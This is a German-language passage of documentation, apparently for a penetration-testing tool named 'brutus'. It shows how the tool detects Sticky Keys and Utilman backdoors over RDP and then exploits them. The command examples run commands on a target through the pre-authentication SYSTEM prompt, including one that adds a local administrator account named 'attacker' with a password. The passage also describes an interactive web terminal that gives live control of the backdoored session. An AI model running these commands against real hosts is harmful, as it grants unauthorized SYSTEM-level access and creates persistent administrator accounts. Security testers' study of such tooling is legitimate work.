**Nur-Erkennungs-Modus:** Der `logon`-Unterbefehl führt Sticky-Keys- und Utilman-Backdoor-Erkennung ohne Brute-Force aus:
```bash
# Detection only (no brute force)
brutus logon --target 10.0.0.50:3389
```
**Erkennungsausgabe:**
```
[CRITICAL] Sticky keys backdoor CONFIRMED (confidence: 85%)
sethc.exe has been replaced with cmd.exe or similar.
SYSTEM-level unauthenticated access available via 5x Shift.
```
### Befehlsausführung über Backdoor (`--exec`)
Sobald eine Backdoor erkannt wurde, führen Sie einen Befehl auf dem Remote-System über die Pre-Auth-Befehlseingabeaufforderung aus:
```bash
# Execute a single command via the backdoor
brutus logon --target 10.0.0.50:3389 --exec "whoami"
# Add a local admin account
brutus logon --target 10.0.0.50:3389 \
--exec "net user attacker P@ssw0rd /add && net localgroup administrators attacker /add"
```
Dies verbindet, löst die Backdoor aus, gibt den Befehl ein, drückt Enter, wartet auf die Ausgabe und speichert einen PNG-Screenshot des Ergebnisses.
### Interaktives Web-Terminal (`--web`)
Startet einen browserbasierten RDP-Viewer für die Live-Interaktion mit der Backdoor-Eingabeaufforderung:
```bash
# Start interactive web terminal
brutus logon --target 10.0.0.50:3389 --web
```
Dies startet einen lokalen HTTP-Server mit:
- **Live-Bildschirm-Streaming** mit ~10 FPS (JPEG über WebSocket)
- **Vollständige Tastaturweiterleitung** (PS/2-Scancodes, zugeordnet aus Browser-KeyboardEvent)
- **Mausunterstützung** (Klicken, Bewegen, Rechtsklick)
- **Verbindungsstatus** mit Trennungsoverlay und Wiederverbindungsbutton
Öffnen Sie die angezeigte URL (z. B. `http://127.0.0.1:<port>`) in einem beliebigen Browser, um mit der entfernten RDP-Sitzung zu interagieren. Wenn die Sitzung aufgrund eines serverseitigen Idle-Timeouts getrennt wird, klicken Sie auf **Reconnect**, um eine neue Sitzung herzustellen.
---
[Read more](https://github.com/praetorian-inc/brutus)